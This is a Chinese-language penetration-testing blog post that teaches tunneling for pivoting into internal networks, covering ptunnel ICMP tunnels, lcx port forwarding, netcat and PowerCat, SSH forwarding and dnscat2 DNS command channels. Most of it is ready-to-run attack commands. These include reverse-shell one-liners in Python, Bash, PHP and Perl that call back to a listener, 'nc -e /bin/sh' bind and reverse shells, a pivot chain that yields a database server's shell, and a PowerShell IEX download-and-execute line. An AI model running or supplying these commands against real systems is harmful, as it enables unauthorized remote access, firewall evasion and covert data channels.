<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透之隧道傳輸技術

    VSole2021-11-12 16:09:40

    一、內網-隧道傳輸

    網絡隧道技術指的是利用一種網絡協議來傳輸另一種網絡協議,它主要利用網絡隧道協議來實現這種功能。網絡隧道技術涉及了三種網絡協議,即網絡隧道協議、隧道協議下面的承載協議和隧道協議所承載的被承載協議。

    在安全人員人員的日常工作中,會遇到因為相關配置或設備導致的無法和目標設備通信的狀況,這時就可以嘗試使用隧道通信解決。

    防火墻兩端的數據包通過防火墻所允許的數據包類型或端口進行封裝,然后穿過防火墻,與對方進行通信。當被封裝的數據包到達目的地時,將數據包還原,并將還原后的數據包發送到相應的服務器上。常見的隧道列舉如下:

    • 網絡層:IPv6隧道、ICMP隧道、GRE隧道
    • 傳輸層:TCP隧道、UDP隧道、常規端口轉發
    • 應用層:SSH隧道、HTTP隧道、HTTS隧道、DNS隧道

    網絡層傳輸技術

    ICMP 隧道

    ICMP(Internet Control Message Protocol)Internet控制報文協議。它是TCP/IP協議簇的一個子協議,用于在IP主機、路由器之間傳遞控制消息。

    控制消息是指網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。

    這些控制消息雖然并不傳輸用戶數據,但是對于用戶數據的傳遞起著重要的作用。

    最常見的ICMP消息為ping命令的回復,只要可以ping通,就可以嘗試建立ICMP隧道,將數據包封裝在ICMP里面

    常用的ICMP隧道工具有icmpsh、PingTunel、icmptunel、powershell icmp等

    PingTunel

    PingTunel 是一款跨平臺的工具,下載地址為

    http://freshmeat.sourceforge.net/projects/ptunnel/

    下載后需要編譯,我在ubuntu 和 centos 下遇到同樣的坑,解決方案如下:

    先安裝下面的依賴環境

    wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
    tar zxfv libpcap-1.9.0.tar.gz 
    cd libpcap-1.9.0/
    yum install flex bison
    ./configure 
    make && make install
    

    ptunnel 基礎指令如下

    ptunnel 
    -×指定icmp隧道連接驗證密碼
    -lp指定要監聽的本地tcp端口
    -da指定要轉發到的機器的ip地址
    -dp指定要轉發到的機器的tcp端口
    -p指定icmp隧道另一端機器的ip地址
    

    場景:

    vps 192.168.206.128

    邊界服務器 192.168.206.129

    內網服務器 win2k8 192.168.206.131

    step1:在邊界服務器上執行ptunnel -x 密碼ptunnel -x test123

    steo2:在vps 上執行

    ptunnel -p 邊界服務器ip -lp 端口1 -da 內網服務器ip -dp 端口2 -x 密碼 ptunnel -p 192.168.206.129 -lp 1234 -da 192.168.206.131 -dp 3389 -x test123

    step3:通過訪問192.168.206.129:1234就可以訪問192.168.206.131:3389

    二、傳輸層隧道傳輸

    lcxd端口轉發

    lcx是一個基于socket套接字實現的端口轉發工具,有Windows和Linux兩個版本,Windows版本為lcx.exe,Linux版本為portmap。

    一個正常的socket隧道必須具備兩端:一端為服務端,監聽一個端口,等待客戶端的連接;

    另一端為客戶端,通過傳入服務端的IP地址和端口,才能主動與服務器連接

    使用方法

    • 內網端口轉發
    • 將本機3389端口轉發出去
    • lcx.exe -slave VPSip 4444 127.0.0.1 3389
    • 將VPS 4444 端口數據轉發到5555
    • lcx.exe -listen 4444 5555
    • 本地端口映射
    • lcx -tran 53 127.0.0.1 3389

    nc和powercat

    netcat簡稱nc,也稱作瑞士軍刀,主要的功能是從網絡的一端讀取數據,輸入到網絡的另一端(可以使用TCP和UDP協議),mac和linux 可以使用,雖然也有windows版本的,但是windows版本有bug不好用,windows 上可以使用PowerCat;

    PowerCat可以說是nc的PowerShell版本。PowerCat可以通過執行命令回到本地運行,也可以使用遠程權限運行。

    nc

    nc功能很強,在Linux的大部分發行版中都默認編譯了nc,但在滲透測試過程中通常會用到-e選項,

    也許是出于安全考慮,發行版中默認編譯的nc往往沒有-e選項(沒有define一個GAPING_SECURITY_HOLE常量)

    也就是說我們不能通過-e選項綁定目標的shell,使得我們在利用上受到限制

    這種時候可以使用后面的其它方法,或者自己編譯一個。

    操作如下:

    step1:下載nc源碼

    wget https://udomain.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

    step2:解壓源tar zxvf netcat-0.7.1.tar.gz

    step3:編譯

    ./configure 
    make
    

    使用方法

    目標為ubuntu,vps為centos

    開啟監聽

    nc -lvp 4444

    Python反向shell

    目標主機執行:

    python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.2.181”,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
    

    Bash反向shell

    目標主機執行:bash -i >& /dev/tcp/192.168.2.181/4444 0>&1

    PHP反向shell

    目標主機執行:

    php -r ‘$sock=fsockopen(“192.168.2.181”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’
    

    Perl反向Shell

    目標機器執行

    :perl -e ‘use Socket;$i=”192.168.2.181”;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
    

    內網代理

    vps監聽:nc -lvp 3333數據庫服務器執行:nv -lvp 3333 -e /bin/sh在Web服務器(邊界服務器)執行:nc -v 192.168.2.181 3333 -c “nc -v 數據庫內網ip 3333”這樣可以用vps獲取內網數據庫主機的shell。
    

    正向shell

    nc -lvp 1234 -e /bin/sh 目標機器

    nc 目標ip 4444 vps

    反向shell

    執行:nc -lvp 4444 vpsnc vpsip 4444 -e /bin/sh 目標機器
    

    powercat

    powercat 加載方式有兩種,一種是下載后加載

    powercat 下載鏈接:https://github.com/besimorhino/powercat

    使用. .\powercat.ps1加載,另一種是遠程導入IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

    使用方法

    場景

    vps centos 192.168.206.129

    邊界服務器 w2k8 192.168.206.131

    內部服務器 win7 11.11.1.12

    通過nc正向連接Powercat

    靶機執行:powercat -lvp 1234 -e cmd.exe

    vps執行: nc w2k8的ip 1234 -vv

    通過nc反向連接powercat

    vps執行下列命令:

    nc -lvp 1234

    靶機執行:powercat -c vps的ip192.168.206.129 -p 1234 -v -e cmd.exe

    將Powercat作為跳板

    當邊界服務器為windows 時,可將其作為跳板

    將w2k8作為跳板,讓vps連接win7。

    step1:在win7中執行:

    powercat -lv -p 1111 -e cmd.exe

    step2:在w2k8中執行:

    powercat -lvp 2222 -r tcp:win7的ip:1111

    step3:讓vps和邊界服務器進行連接

    在vps輸入:

    nc 邊界服務器ip 2222 -vv

    三、應用層隧道傳輸

    應用層隧道傳輸主要用的是軟件提供的端口發數據。

    ssh 協議

    ssh 應該是設備支持最多的協議,內網基本所有設備都會支持ssh協議(從路由器到電腦),而且ssh 是加密的,可以用來穿透防火墻等限制

    隧道傳輸中 ssh 常用的指令和sshd配置

    -C 壓縮傳輸
    -f 將SSH傳輸轉入后臺執行
    -N 建立靜默連接
    -g 允許遠程主機連接本地用于轉發的端口
    -L 本地端口轉發
    -R 遠程端口轉發
    -D 動態轉發(socks 代理)
    -P 指定ssh端口
    

    注意sshd_config要修改如下,如果在目標上修改,注意授權!!!*注意授權!!!**注意授權!!!**注意授權!!!*

    AllowAgentForwarding yes    允許轉發
    AllowTcpForwarding yes      是否允許TCP轉發
    GatewayPorts yes            指令可以讓 sshd 將遠程端口轉發綁定到非loopback地址,允許遠程主機連接
    TCPKeepAlive yes            保持心跳,防止 ssh 斷開
    PasswordAuthentication yes  是否使用Kerberos認證
    
    使用方法

    場景:

    vps 192.168.206.128

    邊界服務器 192.168.206.129

    內網服務器 win2k8 192.168.131

    遠程轉發

    在邊界服務器執ssh -CfNg -R vps端口:內網服務器ip:內網服務器端口 root@vpsip

    如:ssh -CfNg -R 12345:192.168.131:3389 root@192.168.206.128

    本地轉發

    在自己的vps 執行 ssh -CfNg -L 本地端口:內網服務器ip:內網服務器端口 root@邊界服務器ip

    如:ssh -CfNg -L 6668:192.168.206.131:3389 root@192.168.206.128

    動態轉發

    利用 ssh 隧道的正向 socks 代理把目標的整個內網代出來,任何支持socks 4/5協議的程序都可以使用這個加密通道進行代理訪問

    在自己的vps 執行 ssh -D 12345 root@邊界服務器ip

    dns 協議

    DNS協議是一種請求/應答協議,DNS隧道傳輸的實質就是將其他協議封裝在DNS查詢響應數據包里面,進行通信,比較隱蔽,可繞過防火墻的攔截。

    DNS隧道的工作原理很簡單:在進行DNS查詢時,如果查詢的域名不在DNS服務器本機的緩存中,就會訪問互聯網進行查詢,然后返回結果

    如果互聯網上有一臺定制的服務器,那么依靠DNS協議就可以進行數據包的交換,從DNS協議的角度來看

    這樣的操作只是一次次地查詢某個特定的域名并且得到解析結果,但其本質的問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字符串,包括加密的C&C指令。

    dnscat2

    使用方法

    step1:部署域名,配置 A記錄和 NS記錄

    step2:部署 dnscat2 服務端

    安裝依賴環境(各種坑)
    sudo apt install ruby-bundler ruby-dev gem
    sudo gem install salsa20 -v '0.1.1' --source 'https://rubygems.org'
    下載安裝dnscat2
    git clone //github.com/iagox86/dnscat2.git
    cd dnscat2/server
    sudo bundle install
    

    step3:部署客戶端

    dnscat2 客戶端用c寫的,所以在linux 端用的時候要編譯

    cd dnscat2/client/
    make
    

    對于Windows端,可以使用編譯后的版本或者ps版本

    下載地址分別為:https://downloads.skullsecurity.org/dnscat2/https://github.com/lukebaggett/dnscat2-powershell

    step3:使用操作

    服務端操作

    dns隧道的使用模式有兩種:

    直連模式:客戶端直接指向ip地址的dns服務器發起dns解析請求。

    sudo ruby ./dnscat2.rb --dns -server=127.0.0.1,port=533,type=TXT -c 密碼

    中繼模式:DNS 經過互聯網的迭代解析,指向指定的DNS 服務器。

    sudo ruby ./dnscat2.rb 自己的域名 -e open -c 自己設置的密碼 --no-cache

    客戶端操作:

    dnscat2.exe --dns domain=自己的域名 -c 密碼

    dns協議端口轉發
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    本文主要對攻防演練場景下的加密流量概況進行了介紹。我們可以看到,加密流量在整個攻防演練的所有環節都會出現。
    隧道與端口轉發
    2021-11-18 08:26:13
    如果想獲得課程報名資格,請添加文末小助手微信咨詢。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。情況1:目標禁止出站ip如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。情況2:禁止出站端口Linux系統使用Linux系統自帶命令探測出網端口
    一. 應用層隧道技術1. ssh隧道建立雙向安全隧道將其他TCP端口的通信通過SSH連接轉發用SSH作為傳輸層協議,對流量自動加解密突破防火墻訪問規則的限制SSH本地端口轉發本機偵聽端口
    網絡隧道技術指的是利用一種網絡協議來傳輸另一種網絡協議,它主要利用網絡隧道協議來實現這種功能。網絡隧道技術涉及了三種網絡協議,即網絡隧道協議、隧道協議下面的承載協議和隧道協議所承載的被承載協議。 在安全人員人員的日常工作中,會遇到因為相關配置或設備導致的無法和目標設備通信的狀況,這時就可以嘗試使用隧道通信解決。
    隱藏通訊隧道技術
    2021-10-22 22:16:06
    防火墻兩端的數據包通過防火墻所允許的數據包類型或端口進行封裝,然后穿過防火墻,與對方進行通信。當封裝的數據包到達目的地時,將數據包還原,并將還原后的數據包發送到相應服務器上。nslookup 是windows自帶的DNS探測命令,執行:
    隱藏通信隧道技術常用于在訪問受限的網絡環境中或不受信任的網絡中實現安全的數據傳輸。網絡層:IPV6隧道、ICMP隧道、GRE隧道傳輸層:TCP隧道、UDP隧道、常規端口轉發應用層:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道常規判斷內網連通性的方法都有哪些?
    0x00 前言本文以滲透的視角,總結幾種個人常用的內網穿透,內網代理工具,介紹其簡單原理和使用方法。0x01 nps-npc1.1 簡介nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    本文以滲透的視角,總結幾種個人常用的內網穿透,內網代理工具,介紹其簡單原理和使用方法。nps-npc簡介nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持 tcp、udp 流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类